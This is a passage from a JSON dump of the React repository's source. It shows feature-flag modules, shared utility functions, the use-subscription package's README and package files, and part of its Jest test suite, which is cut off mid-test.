    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow strict\n */\n\n// In www, these flags are controlled by GKs. Because most GKs have some\n// population running in either mode, we should run our tests that way, too,\n//\n// Use __VARIANT__ to simulate a GK. The tests will be run twice: once\n// with the __VARIANT__ set to `true`, and once set to `false`.\n\nexport const alwaysThrottleRetries: boolean = __VARIANT__;\nexport const disableLegacyContextForFunctionComponents: boolean = __VARIANT__;\nexport const disableSchedulerTimeoutInWorkLoop: boolean = __VARIANT__;\nexport const enableNoCloningMemoCache: boolean = __VARIANT__;\nexport const enableObjectFiber: boolean = __VARIANT__;\nexport const enableRetryLaneExpiration: boolean = __VARIANT__;\nexport const enableTransitionTracing: boolean = __VARIANT__;\nexport const retryLaneExpirationMs = 5000;\nexport const syncLaneExpirationMs = 250;\nexport const transitionLaneExpirationMs = 5000;\n\nexport const enableSchedulingProfiler: boolean = __VARIANT__;\n\nexport const enableInfiniteRenderLoopDetection: boolean = __VARIANT__;\n\nexport const enableFastAddPropertiesInDiffing: boolean = __VARIANT__;\nexport const enableViewTransition: boolean = __VARIANT__;\nexport const enableScrollEndPolyfill: boolean = __VARIANT__;\nexport const enableFragmentRefs: boolean = __VARIANT__;\nexport const enableFragmentRefsScrollIntoView: boolean = __VARIANT__;\nexport const enableFragmentRefsTextNodes: boolean = __VARIANT__;\nexport const enableInternalInstanceMap: boolean = __VARIANT__;\nexport const enableParallelTransitions: boolean = __VARIANT__;\n\nexport const enableEffectEventMutationPhase: boolean = __VARIANT__;\n\n// TODO: These flags are hard-coded to the default values used in open source.\n// Update the tests so that they pass in either mode, then set these\n// to __VARIANT__.\n// You probably *don't* want to add more hardcoded ones.\n// Instead, try to add them above with the __VARIANT__ value.\n"
  },
  {
    "path": "packages/shared/forks/ReactFeatureFlags.www.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport typeof * as FeatureFlagsType from 'shared/ReactFeatureFlags';\nimport typeof * as ExportsType from './ReactFeatureFlags.www';\nimport typeof * as DynamicFeatureFlags from './ReactFeatureFlags.www-dynamic';\n\n// Re-export dynamic flags from the www version.\nconst dynamicFeatureFlags: DynamicFeatureFlags = require('ReactFeatureFlags');\n\nexport const {\n  alwaysThrottleRetries,\n  disableLegacyContextForFunctionComponents,\n  disableSchedulerTimeoutInWorkLoop,\n  enableEffectEventMutationPhase,\n  enableInfiniteRenderLoopDetection,\n  enableNoCloningMemoCache,\n  enableObjectFiber,\n  enableRetryLaneExpiration,\n  enableTransitionTracing,\n  retryLaneExpirationMs,\n  syncLaneExpirationMs,\n  transitionLaneExpirationMs,\n  enableViewTransition,\n  enableScrollEndPolyfill,\n  enableFragmentRefs,\n  enableFragmentRefsScrollIntoView,\n  enableFragmentRefsTextNodes,\n  enableInternalInstanceMap,\n  enableParallelTransitions,\n} = dynamicFeatureFlags;\n\n// On WWW, __EXPERIMENTAL__ is used for a new modern build.\n// It's not used anywhere in production yet.\n\nexport const enableProfilerTimer = __PROFILE__;\nexport const enableProfilerCommitHooks = __PROFILE__;\nexport const enableProfilerNestedUpdatePhase = __PROFILE__;\nexport const enableUpdaterTracking = __PROFILE__;\nexport const enableTrustedTypesIntegration: boolean = true;\nexport const enableSuspenseAvoidThisFallback: boolean = true;\n\nexport const enableAsyncDebugInfo: boolean = true;\nexport const enableCPUSuspense: boolean = true;\nexport const enableMoveBefore: boolean = false;\nexport const disableInputAttributeSyncing: boolean = false;\nexport const enableLegacyFBSupport: boolean = true;\n\nexport const enableYieldingBeforePassive: boolean = false;\n\nexport const enableThrottledScheduling: boolean = false;\n\nexport const enableComponentPerformanceTrack: boolean = true;\n\nexport const enablePerformanceIssueReporting: boolean = false;\n\n// Logs additional User Timing API marks for use with an experimental profiling tool.\nexport const enableSchedulingProfiler: boolean =\n  __PROFILE__ && dynamicFeatureFlags.enableSchedulingProfiler;\n\nexport const disableLegacyContext = __EXPERIMENTAL__;\n\nexport const enableLegacyCache: boolean = true;\n\nexport const enableAsyncIterableChildren: boolean = false;\n\nexport const enableTaint: boolean = false;\n\n// TODO: www currently relies on this feature. It's disabled in open source.\n// Need to remove it.\nexport const disableCommentsAsDOMContainers: boolean = false;\n\nexport const enableCreateEventHandleAPI: boolean = true;\n\nexport const enableScopeAPI: boolean = true;\n\nexport const enableSuspenseCallback: boolean = true;\n\nexport const enableLegacyHidden: boolean = true;\n\nexport const disableTextareaChildren = __EXPERIMENTAL__;\n\nexport const enableFizzExternalRuntime: boolean = true;\n\nexport const passChildrenWhenCloningPersistedNodes: boolean = false;\n\nexport const disableClientCache: boolean = true;\n\nexport const enableReactTestRendererWarning: boolean = false;\n\nexport const disableLegacyMode: boolean = true;\n\nexport const enableEagerAlternateStateNodeCleanup: boolean = true;\n\nexport const enableViewTransitionForPersistenceMode: boolean = false;\n\nexport const enableGestureTransition: boolean = false;\n\nexport const enableSuspenseyImages: boolean = false;\nexport const enableFizzBlockingRender: boolean = true;\nexport const enableSrcObject: boolean = false;\nexport const enableHydrationChangeEvent: boolean = false;\nexport const enableDefaultTransitionIndicator: boolean = true;\n\nexport const ownerStackLimit = 1e4;\n\nexport const enableFragmentRefsInstanceHandles: boolean = true;\n\nexport const enableOptimisticKey: boolean = false;\n\nexport const eprh_enableUseKeyedStateCompilerLint: boolean = true;\nexport const eprh_enableVerboseNoSetStateInEffectCompilerLint: boolean = true;\nexport const eprh_enableExhaustiveEffectDependenciesCompilerLint:\n  | 'off'\n  | 'all'\n  | 'extra-only'\n  | 'missing-only' = 'extra-only';\n\n// Flow magic to verify the exports of this file match the original version.\n((((null: any): ExportsType): FeatureFlagsType): ExportsType);\n"
  },
  {
    "path": "packages/shared/formatProdErrorMessage.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n */\n\n// Do not require this module directly! Use normal `invariant` calls with\n// template literal strings. The messages will be replaced with error codes\n// during build.\n\nfunction formatProdErrorMessage(code) {\n  let url = 'https://react.dev/errors/' + code;\n  if (arguments.length > 1) {\n    url += '?args[]=' + encodeURIComponent(arguments[1]);\n    for (let i = 2; i < arguments.length; i++) {\n      url += '&args[]=' + encodeURIComponent(arguments[i]);\n    }\n  }\n\n  return (\n    `Minified React error #${code}; visit ${url} for the full message or ` +\n    'use the non-minified dev environment for full errors and additional ' +\n    'helpful warnings.'\n  );\n}\n\nexport default formatProdErrorMessage;\n"
  },
  {
    "path": "packages/shared/getComponentNameFromType.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {LazyComponent} from 'react/src/ReactLazy';\nimport type {ReactContext, ReactConsumerType} from 'shared/ReactTypes';\n\nimport {\n  REACT_CONTEXT_TYPE,\n  REACT_CONSUMER_TYPE,\n  REACT_FORWARD_REF_TYPE,\n  REACT_FRAGMENT_TYPE,\n  REACT_PORTAL_TYPE,\n  REACT_MEMO_TYPE,\n  REACT_PROFILER_TYPE,\n  REACT_STRICT_MODE_TYPE,\n  REACT_SUSPENSE_TYPE,\n  REACT_SUSPENSE_LIST_TYPE,\n  REACT_LAZY_TYPE,\n  REACT_TRACING_MARKER_TYPE,\n  REACT_VIEW_TRANSITION_TYPE,\n  REACT_ACTIVITY_TYPE,\n} from 'shared/ReactSymbols';\n\nimport {\n  enableTransitionTracing,\n  enableViewTransition,\n} from './ReactFeatureFlags';\n\n// Keep in sync with react-reconciler/getComponentNameFromFiber\nfunction getWrappedName(\n  outerType: mixed,\n  innerType: any,\n  wrapperName: string,\n): string {\n  const displayName = (outerType: any).displayName;\n  if (displayName) {\n    return displayName;\n  }\n  const functionName = innerType.displayName || innerType.name || '';\n  return functionName !== '' ? `${wrapperName}(${functionName})` : wrapperName;\n}\n\n// Keep in sync with react-reconciler/getComponentNameFromFiber\nfunction getContextName(type: ReactContext<any>) {\n  return type.displayName || 'Context';\n}\n\nconst REACT_CLIENT_REFERENCE = Symbol.for('react.client.reference');\n\n// Note that the reconciler package should generally prefer to use getComponentNameFromFiber() instead.\nexport default function getComponentNameFromType(type: mixed): string | null {\n  if (type == null) {\n    // Host root, text node or just invalid type.\n    return null;\n  }\n  if (typeof type === 'function') {\n    if ((type: any).$$typeof === REACT_CLIENT_REFERENCE) {\n      // TODO: Create a convention for naming client references with debug info.\n      return null;\n    }\n    return (type: any).displayName || type.name || null;\n  }\n  if (typeof type === 'string') {\n    return type;\n  }\n  switch (type) {\n    case REACT_FRAGMENT_TYPE:\n      return 'Fragment';\n    case REACT_PROFILER_TYPE:\n      return 'Profiler';\n    case REACT_STRICT_MODE_TYPE:\n      return 'StrictMode';\n    case REACT_SUSPENSE_TYPE:\n      return 'Suspense';\n    case REACT_SUSPENSE_LIST_TYPE:\n      return 'SuspenseList';\n    case REACT_ACTIVITY_TYPE:\n      return 'Activity';\n    case REACT_VIEW_TRANSITION_TYPE:\n      if (enableViewTransition) {\n        return 'ViewTransition';\n      }\n    // Fall through\n    case REACT_TRACING_MARKER_TYPE:\n      if (enableTransitionTracing) {\n        return 'TracingMarker';\n      }\n  }\n  if (typeof type === 'object') {\n    if (__DEV__) {\n      if (typeof (type: any).tag === 'number') {\n        console.error(\n          'Received an unexpected object in getComponentNameFromType(). ' +\n            'This is likely a bug in React. Please file an issue.',\n        );\n      }\n    }\n    switch (type.$$typeof) {\n      case REACT_PORTAL_TYPE:\n        return 'Portal';\n      case REACT_CONTEXT_TYPE:\n        const context: ReactContext<any> = (type: any);\n        return getContextName(context);\n      case REACT_CONSUMER_TYPE:\n        const consumer: ReactConsumerType<any> = (type: any);\n        return getContextName(consumer._context) + '.Consumer';\n      case REACT_FORWARD_REF_TYPE:\n        return getWrappedName(type, type.render, 'ForwardRef');\n      case REACT_MEMO_TYPE:\n        const outerName = (type: any).displayName || null;\n        if (outerName !== null) {\n          return outerName;\n        }\n        return getComponentNameFromType(type.type) || 'Memo';\n      case REACT_LAZY_TYPE: {\n        const lazyComponent: LazyComponent<any, any> = (type: any);\n        const payload = lazyComponent._payload;\n        const init = lazyComponent._init;\n        try {\n          return getComponentNameFromType(init(payload));\n        } catch (x) {\n          return null;\n        }\n      }\n    }\n  }\n  return null;\n}\n"
  },
  {
    "path": "packages/shared/getPrototypeOf.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nconst getPrototypeOf = Object.getPrototypeOf;\n\nexport default getPrototypeOf;\n"
  },
  {
    "path": "packages/shared/hasOwnProperty.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// $FlowFixMe[method-unbinding]\nconst hasOwnProperty = Object.prototype.hasOwnProperty;\n\nexport default hasOwnProperty;\n"
  },
  {
    "path": "packages/shared/isArray.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\ndeclare function isArray<T>(\n  v: T,\n  // eslint-disable-next-line\n): v is T extends $ReadOnlyArray<mixed> ? T : empty;\n\nconst isArrayImpl = Array.isArray;\n\nfunction isArray(a: mixed): boolean {\n  return isArrayImpl(a);\n}\n\nexport default isArray;\n"
  },
  {
    "path": "packages/shared/noop.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport default function noop() {}\n"
  },
  {
    "path": "packages/shared/normalizeConsoleFormat.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Takes a format string (first argument to console) and returns a normalized\n// string that has the exact number of arguments as the args. That way it's safe\n// to prepend or append to it.\nexport default function normalizeConsoleFormat(\n  formatString: string,\n  args: $ReadOnlyArray<mixed>,\n  firstArg: number,\n): string {\n  let j = firstArg;\n  let normalizedString = '';\n  let last = 0;\n  for (let i = 0; i < formatString.length - 1; i++) {\n    if (formatString.charCodeAt(i) !== 37 /* \"%\" */) {\n      continue;\n    }\n    switch (formatString.charCodeAt(++i)) {\n      case 79 /* \"O\" */:\n      case 99 /* \"c\" */:\n      case 100 /* \"d\" */:\n      case 102 /* \"f\" */:\n      case 105 /* \"i\" */:\n      case 111 /* \"o\" */:\n      case 115 /* \"s\" */: {\n        if (j < args.length) {\n          // We have a matching argument.\n          j++;\n        } else {\n          // We have more format specifiers than arguments.\n          // So we need to escape this to print the literal.\n          normalizedString += formatString.slice(last, (last = i)) + '%';\n        }\n      }\n    }\n  }\n  normalizedString += formatString.slice(last, formatString.length);\n  // Pad with extra format specifiers for the rest.\n  while (j < args.length) {\n    if (normalizedString !== '') {\n      normalizedString += ' ';\n    }\n    // Not every environment has the same default.\n    // This seems to be what Chrome DevTools defaults to.\n    normalizedString += typeof args[j] === 'string' ? '%s' : '%o';\n    j++;\n  }\n  return normalizedString;\n}\n"
  },
  {
    "path": "packages/shared/objectIs.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n/**\n * inlined Object.is polyfill to avoid requiring consumers ship their own\n * https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is\n */\nfunction is(x: any, y: any) {\n  return (\n    (x === y && (x !== 0 || 1 / x === 1 / y)) || (x !== x && y !== y) // eslint-disable-line no-self-compare\n  );\n}\n\nconst objectIs: (x: any, y: any) => boolean =\n  // $FlowFixMe[method-unbinding]\n  typeof Object.is === 'function' ? Object.is : is;\n\nexport default objectIs;\n"
  },
  {
    "path": "packages/shared/package.json",
    "content": "{\n  \"private\": true,\n  \"name\": \"shared\",\n  \"version\": \"0.0.0\"\n}\n"
  },
  {
    "path": "packages/shared/reportGlobalError.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nconst reportGlobalError: (error: mixed) => void =\n  typeof reportError === 'function'\n    ? // In modern browsers, reportError will dispatch an error event,\n      // emulating an uncaught JavaScript error.\n      reportError\n    : error => {\n        if (\n          typeof window === 'object' &&\n          typeof window.ErrorEvent === 'function'\n        ) {\n          // Browser Polyfill\n          const message =\n            typeof error === 'object' &&\n            error !== null &&\n            typeof error.message === 'string'\n              ? // eslint-disable-next-line react-internal/safe-string-coercion\n                String(error.message)\n              : // eslint-disable-next-line react-internal/safe-string-coercion\n                String(error);\n          const event = new window.ErrorEvent('error', {\n            bubbles: true,\n            cancelable: true,\n            message: message,\n            error: error,\n          });\n          const shouldLog = window.dispatchEvent(event);\n          if (!shouldLog) {\n            return;\n          }\n        } else if (\n          typeof process === 'object' &&\n          // $FlowFixMe[method-unbinding]\n          typeof process.emit === 'function'\n        ) {\n          // Node Polyfill\n          process.emit('uncaughtException', error);\n          return;\n        }\n        console['error'](error);\n      };\n\nexport default reportGlobalError;\n"
  },
  {
    "path": "packages/shared/shallowEqual.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport is from './objectIs';\nimport hasOwnProperty from './hasOwnProperty';\n\n/**\n * Performs equality by iterating through keys on an object and returning false\n * when any key has values which are not strictly equal between the arguments.\n * Returns true when the values of all keys are strictly equal.\n */\nfunction shallowEqual(objA: mixed, objB: mixed): boolean {\n  if (is(objA, objB)) {\n    return true;\n  }\n\n  if (\n    typeof objA !== 'object' ||\n    objA === null ||\n    typeof objB !== 'object' ||\n    objB === null\n  ) {\n    return false;\n  }\n\n  const keysA = Object.keys(objA);\n  const keysB = Object.keys(objB);\n\n  if (keysA.length !== keysB.length) {\n    return false;\n  }\n\n  // Test for A's keys different from B.\n  for (let i = 0; i < keysA.length; i++) {\n    const currentKey = keysA[i];\n    if (\n      !hasOwnProperty.call(objB, currentKey) ||\n      // $FlowFixMe[incompatible-use] lost refinement of `objB`\n      !is(objA[currentKey], objB[currentKey])\n    ) {\n      return false;\n    }\n  }\n\n  return true;\n}\n\nexport default shallowEqual;\n"
  },
  {
    "path": "packages/use-subscription/README.md",
    "content": "# use-subscription\n\nReact Hook for subscribing to external data sources.\n\n**You may now migrate to [`use-sync-external-store`](https://www.npmjs.com/package/use-sync-external-store) directly instead, which has the same API as [`React.useSyncExternalStore`](https://react.dev/reference/react/useSyncExternalStore). The `use-subscription` package is now a thin wrapper over `use-sync-external-store` and will not be updated further.**\n\n# Installation\n\n```sh\n# Yarn\nyarn add use-subscription\n\n# NPM\nnpm install use-subscription\n```\n\n# Usage\n\nTo configure a subscription, you must provide two methods: `getCurrentValue` and `subscribe`.\n\nIn order to avoid removing and re-adding subscriptions each time this hook is called, the parameters passed to this hook should be memoized. This can be done by wrapping the entire subscription with `useMemo()`, or by wrapping the individual callbacks with `useCallback()`.\n\n## Subscribing to event dispatchers\n\nBelow is an example showing how `use-subscription` can be used to subscribe to event dispatchers such as DOM elements.\n\n```js\nimport React, { useMemo } from \"react\";\nimport { useSubscription } from \"use-subscription\";\n\n// In this example, \"input\" is an event dispatcher (e.g. an HTMLInputElement)\n// but it could be anything that emits an event and has a readable current value.\nfunction Example({ input }) {\n\n  // Memoize to avoid removing and re-adding subscriptions each time this hook is called.\n  const subscription = useMemo(\n    () => ({\n      getCurrentValue: () => input.value,\n      subscribe: callback => {\n        input.addEventListener(\"change\", callback);\n        return () => input.removeEventListener(\"change\", callback);\n      }\n    }),\n\n    // Re-subscribe any time our input changes\n    // (e.g. we get a new HTMLInputElement prop to subscribe to)\n    [input]\n  );\n\n  // The value returned by this hook reflects the input's current value.\n  // Our component will automatically be re-rendered when that value changes.\n  const value = useSubscription(subscription);\n\n  // Your rendered output goes here ...\n}\n```\n\n## Subscribing to observables\n\nBelow are examples showing how `use-subscription` can be used to subscribe to certain types of observables (e.g. RxJS `BehaviorSubject` and `ReplaySubject`).\n\n**Note** that it is not possible to support all observable types (e.g. RxJS `Subject` or `Observable`) because some provide no way to read the \"current\" value after it has been emitted.\n\n### `BehaviorSubject`\n```js\nconst subscription = useMemo(\n  () => ({\n    getCurrentValue: () => behaviorSubject.getValue(),\n    subscribe: callback => {\n      const subscription = behaviorSubject.subscribe(callback);\n      return () => subscription.unsubscribe();\n    }\n  }),\n\n  // Re-subscribe any time the behaviorSubject changes\n  [behaviorSubject]\n);\n\nconst value = useSubscription(subscription);\n```\n\n### `ReplaySubject`\n```js\nconst subscription = useMemo(\n  () => ({\n    getCurrentValue: () => {\n      let currentValue;\n      // ReplaySubject does not have a sync data getter,\n      // So we need to temporarily subscribe to retrieve the most recent value.\n      replaySubject\n        .subscribe(value => {\n          currentValue = value;\n        })\n        .unsubscribe();\n      return currentValue;\n    },\n    subscribe: callback => {\n      const subscription = replaySubject.subscribe(callback);\n      return () => subscription.unsubscribe();\n    }\n  }),\n\n  // Re-subscribe any time the replaySubject changes\n  [replaySubject]\n);\n\nconst value = useSubscription(subscription);\n```\n"
  },
  {
    "path": "packages/use-subscription/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n'use strict';\n\nexport * from './src/useSubscription';\n"
  },
  {
    "path": "packages/use-subscription/npm/index.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/use-subscription.production.js');\n} else {\n  module.exports = require('./cjs/use-subscription.development.js');\n}\n"
  },
  {
    "path": "packages/use-subscription/package.json",
    "content": "{\n  \"name\": \"use-subscription\",\n  \"description\": \"Reusable hooks\",\n  \"version\": \"1.13.0\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"https://github.com/facebook/react.git\",\n    \"directory\": \"packages/use-subscription\"\n  },\n  \"files\": [\n    \"LICENSE\",\n    \"README.md\",\n    \"index.js\",\n    \"cjs/\"\n  ],\n  \"license\": \"MIT\",\n  \"peerDependencies\": {\n    \"react\": \"^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0\"\n  },\n  \"devDependencies\": {\n    \"rxjs\": \"^5.5.6\"\n  },\n  \"dependencies\": {\n    \"use-sync-external-store\": \"^1.5.0\"\n  }\n}\n"
  },
  {
    "path": "packages/use-subscription/src/__tests__/useSubscription-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet act;\nlet useSubscription;\nlet BehaviorSubject;\nlet React;\nlet ReactDOMClient;\nlet Scheduler;\nlet ReplaySubject;\nlet assertLog;\nlet waitForAll;\nlet waitFor;\nlet waitForPaint;\n\ndescribe('useSubscription', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    jest.mock('scheduler', () => require('scheduler/unstable_mock'));\n\n    useSubscription = require('use-subscription').useSubscription;\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    Scheduler = require('scheduler');\n\n    act = require('internal-test-utils').act;\n\n    BehaviorSubject = require('rxjs').BehaviorSubject;\n    ReplaySubject = require('rxjs').ReplaySubject;\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n    waitForPaint = InternalTestUtils.waitForPaint;\n    assertLog = InternalTestUtils.assertLog;\n    waitFor = InternalTestUtils.waitFor;\n  });\n\n  function createBehaviorSubject(initialValue) {\n    const behaviorSubject = new BehaviorSubject();\n    if (initialValue) {\n      behaviorSubject.next(initialValue);\n    }\n    return behaviorSubject;\n  }\n\n  function createReplaySubject(initialValue) {\n    const replaySubject = new ReplaySubject();\n    if (initialValue) {\n      replaySubject.next(initialValue);\n    }\n    return replaySubject;\n  }\n\n  it('supports basic subscription pattern', async () => {\n    function Child({value = 'default'}) {\n      Scheduler.log(value);\n      return null;\n    }\n\n    function Subscription({source}) {\n      const value = useSubscription(\n        React.useMemo(\n          () => ({\n            getCurrentValue: () => source.getValue(),\n            subscribe: callback => {\n              const subscription = source.subscribe(callback);\n              return () => subscription.unsubscribe();\n            },\n          }),\n          [source],\n        ),\n      );\n      return <Child value={value} />;\n    }\n\n    const observable = createBehaviorSubject();\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<Subscription source={observable} />);\n    });\n    assertLog(['default']);\n\n    // Updates while subscribed should re-render the child component\n    await act(() => observable.next(123));\n    assertLog([123]);\n    await act(() => observable.next('abc'));\n    assertLog(['abc']);\n\n    // Unmounting the subscriber should remove listeners\n    await act(() => root.render(<div />));\n    await act(() => observable.next(456));\n    await waitForAll([]);\n  });\n\n  it('should support observable types like RxJS ReplaySubject', async () => {\n    function Child({value = 'default'}) {\n      Scheduler.log(value);\n      return null;\n    }\n\n    function Subscription({source}) {\n      const value = useSubscription(\n        React.useMemo(\n          () => ({\n            getCurrentValue: () => {\n              let currentValue;\n              source\n                .subscribe(tempValue => {\n                  currentValue = tempValue;\n                })\n                .unsubscribe();\n              return currentValue;\n            },\n            subscribe: callback => {\n              const subscription = source.subscribe(callback);\n              return () => subscription.unsubscribe();\n            },\n          }),\n          [source],\n        ),\n      );\n      return <Child value={value} />;\n    }\n\n    let observable = createReplaySubject('initial');\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<Subscription source={observable} />);\n    });\n    assertLog(['initial']);\n    await act(() => observable.next('updated'));\n    assertLog(['updated']);\n\n    await waitForAll([]);\n\n    // Unsetting the subscriber prop should reset subscribed values\n    observable = createReplaySubject(undefined);\n    await act(() => root.render(<Subscription source={observable} />));\n    assertLog(['default']);\n  });\n\n  it('should unsubscribe from old sources and subscribe to new sources when memoized props change', async () => {\n    function Child({value = 'default'}) {\n      Scheduler.log(value);\n      return null;\n    }\n\n    const subscriptions = [];\n\n    function Subscription({source}) {\n      const value = useSubscription(\n        React.useMemo(\n          () => ({\n            getCurrentValue: () => source.getValue(),\n            subscribe: callback => {\n              subscriptions.push(source);\n              const subscription = source.subscribe(callback);\n              return () => subscription.unsubscribe();\n            },\n          }),\n          [source],\n        ),\n      );\n      return <Child value={value} />;\n    }\n\n    const observableA = createBehaviorSubject('a-0');\n    const observableB = createBehaviorSubject('b-0');\n\n    expect(subscriptions).toHaveLength(0);\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<Subscription source={observableA} />);\n    });\n\n    // Updates while subscribed should re-render the child component\n    assertLog(['a-0']);\n    expect(subscriptions).toHaveLength(1);\n    expect(subscriptions[0]).toBe(observableA);\n\n    // Unsetting the subscriber prop should reset subscribed values\n    await act(() => root.render(<Subscription source={observableB} />));\n\n    assertLog(['b-0']);\n    expect(subscriptions).toHaveLength(2);\n    expect(subscriptions[1]).toBe(observableB);\n\n    // Updates to the old subscribable should not re-render the child component\n    await act(() => observableA.next('a-1'));\n    await waitForAll([]);\n\n    // Updates to the bew subscribable should re-render the child component\n    await act(() => observableB.next('b-1'));\n    assertLog(['b-1']);\n\n    expect(subscriptions).toHaveLength(2);\n  });\n\n  it('should unsubscribe from old sources and subscribe to new sources when useCallback functions change', async () => {\n    function Child({value = 'default'}) {\n      Scheduler.log(value);\n      return null;\n    }\n\n    const subscriptions = [];\n\n    function Subscription({source}) {\n      const value = useSubscription({\n        getCurrentValue: React.useCallback(() => source.getValue(), [source]),\n        subscribe: React.useCallback(\n          callback => {\n            subscriptions.push(source);\n            const subscription = source.subscribe(callback);\n            return () => subscription.unsubscribe();\n          },\n          [source],\n        ),\n      });\n      return <Child value={value} />;\n    }\n\n    const observableA = createBehaviorSubject('a-0');\n    const observableB = createBehaviorSubject('b-0');\n\n    expect(subscriptions).toHaveLength(0);\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<Subscription source={observableA} />);\n    });\n\n    // Updates while subscribed should re-render the child component\n    assertLog(['a-0']);\n    expect(subscriptions).toHaveLength(1);\n    expect(subscriptions[0]).toBe(observableA);\n\n    // Unsetting the subscriber prop should reset subscribed values\n    await act(() => root.render(<Subscription source={observableB} />));\n    assertLog(['b-0']);\n    expect(subscriptions).toHaveLength(2);\n    expect(subscriptions[1]).toBe(observableB);\n\n    // Updates to the old subscribable should not re-render the child component\n    await act(() => observableA.next('a-1'));\n    await waitForAll([]);\n\n    // Updates to the bew subscribable should re-render the child component\n    await act(() => observableB.next('b-1'));\n    assertLog(['b-1']);\n\n    expect(subscriptions).toHaveLength(2);\n  });\n\n  it('should ignore values emitted by a new subscribable until the commit phase', async () => {\n    const log = [];\n\n    function Grandchild({value}) {\n      Scheduler.log('Grandchild: ' + value);\n      return null;\n    }\n\n    function Child({value = 'default'}) {\n      Scheduler.log('Child: ' + value);\n      return <Grandchild value={value} />;\n    }\n\n    function Subscription({source}) {\n      const value = useSubscription(\n        React.useMemo(\n          () => ({\n            getCurrentValue: () => source.getValue(),\n            subscribe: callback => {\n              const subscription = source.subscribe(callback);\n              return () => subscription.unsubscribe();\n            },\n          }),\n          [source],\n        ),\n      );\n      return <Child value={value} />;\n    }\n\n    class Parent extends React.Component {\n      state = {};\n\n      static getDerivedStateFromProps(nextProps, prevState) {\n        if (nextProps.observed !== prevState.observed) {\n          return {\n            observed: nextProps.observed,\n          };\n        }\n\n        return null;\n      }\n\n      componentDidMount() {\n        log.push('Parent.componentDidMount');\n      }\n\n      componentDidUpdate() {\n        log.push('Parent.componentDidUpdate');\n      }\n\n      render() {\n        return <Subscription source={this.state.observed} />;\n      }\n    }\n\n    const observableA = createBehaviorSubject('a-0');\n    const observableB = createBehaviorSubject('b-0');\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<Parent observed={observableA} />);\n    });\n    assertLog(['Child: a-0', 'Grandchild: a-0']);\n    expect(log).toEqual(['Parent.componentDidMount']);\n\n    // Start React update, but don't finish\n    await act(async () => {\n      React.startTransition(() => {\n        root.render(<Parent observed={observableB} />);\n      });\n\n      await waitFor(['Child: b-0']);\n      expect(log).toEqual(['Parent.componentDidMount']);\n\n      // Emit some updates from the uncommitted subscribable\n      observableB.next('b-1');\n      observableB.next('b-2');\n      observableB.next('b-3');\n    });\n\n    assertLog(['Grandchild: b-0', 'Child: b-3', 'Grandchild: b-3']);\n\n    // Update again\n    await act(() => root.render(<Parent observed={observableA} />));\n\n    // Flush everything and ensure that the correct subscribable is used\n    // We expect the last emitted update to be rendered (because of the commit phase value check)\n    // But the intermediate ones should be ignored,\n    // And the final rendered output should be the higher-priority observable.\n    assertLog(['Child: a-0', 'Grandchild: a-0']);\n    expect(log).toEqual([\n      'Parent.componentDidMount',\n      'Parent.componentDidUpdate',\n      'Parent.componentDidUpdate',\n    ]);\n  });\n\n  it('should not drop values emitted between updates', async () => {\n    const log = [];\n\n    function Grandchild({value}) {\n      Scheduler.log('Grandchild: ' + value);\n      return null;\n    }\n\n    function Child({value = 'default'}) {\n      Scheduler.log('Child: ' + 